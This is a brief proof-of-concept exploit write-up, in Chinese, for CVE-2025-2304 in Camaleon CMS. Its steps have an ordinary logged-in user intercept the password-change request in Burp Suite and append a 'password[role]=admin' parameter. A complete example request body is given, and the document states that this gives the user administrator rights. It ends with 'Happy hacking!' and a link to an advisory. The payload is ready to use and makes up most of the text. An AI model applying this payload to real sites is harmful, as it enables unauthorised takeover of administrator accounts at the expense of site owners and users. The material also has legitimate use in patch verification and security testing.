CVE-2025-2304_POC

CVE-2025-2304 POC - Camaleon CMS 权限提升

此POC用于利用Camaleon CMS的权限提升至管理员。该漏洞通过向已验证用户的密码重置功能注入角色来实现。

前提条件与假设

• 你在目标Camaleon CMS上拥有一个用户账户，且该账户可以访问 /admin。

1. 拦截

首先登录你的用户账户。登录后，访问个人资料页面并点击更改密码。 使用Burp Suite拦截密码更改功能。

2. 修改Payload

以下面的示例为基础，编辑你的payload，添加角色。

_method=patch&authenticity_token=gHl57BgeyzdyiC3AzDPgwY2Wn82rjrWNXG_1cCnZbPgg4tkN8_u2nWtqBusMawZOrXpkh0hHXDYhpojYXvVTvQ&password%5Bpassword%5D=test1234&password%5Bpassword_confirmation%5D=test1234&password%5Brole%5D=admin

通过在你的payload中添加 %5Brole%5D=admin，你现在应该已成为管理员。

3. 刷新页面

刷新页面，你现在应该已成为管理员。

Happy hacking!

资源

https://www.tenable.com/security/research/tra-2025-09